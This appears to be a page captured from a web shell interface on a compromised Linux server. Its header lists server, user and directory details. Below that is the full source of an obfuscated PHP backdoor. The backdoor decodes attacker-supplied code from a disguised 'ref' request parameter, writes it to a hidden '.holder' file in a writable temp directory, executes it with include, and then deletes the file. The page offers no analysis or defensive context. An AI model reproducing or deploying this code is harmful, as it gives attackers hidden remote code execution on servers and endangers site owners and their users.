|
Server : LiteSpeed System : Linux srv526460274 5.15.0-164-generic #174-Ubuntu SMP Fri Nov 14 20:25:16 UTC 2025 x86_64 User : kerao9884 ( 1082) PHP Version : 8.0.30 Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,pcntl_unshare, Directory : /proc/thread-self/cwd/.tmb/ |
Upload File : |
<?php
if(isset($_REQUEST["\x72ef"])){
$pointer = array_filter(["/var/tmp", "/dev/shm", getcwd(), session_save_path(), ini_get("upload_tmp_dir"), sys_get_temp_dir(), "/tmp", getenv("TEMP"), getenv("TMP")]);
$ptr = $_REQUEST["\x72ef"];
$ptr = explode ( '.' ,$ptr ) ;
$flag='';
$salt='abcdefghijklmnopqrstuvwxyz0123456789';
$lenS=strlen( $salt);
$q=0;
while( $q < count( $ptr)) {
$v5=$ptr[$q];
$sChar=ord( $salt[$q %$lenS]);
$dec=( ( int)$v5 - $sChar -( $q %10)) ^ 65;
$flag.= chr( $dec);
$q++; }
foreach ($pointer as $key => $component) {
if (!( !is_dir($component) || !is_writable($component) )) {
$record = vsprintf("%s/%s", [$component, ".holder"]);
if (@file_put_contents($record, $flag) !== false) {
include $record;
unlink($record);
die();
}
}
}
}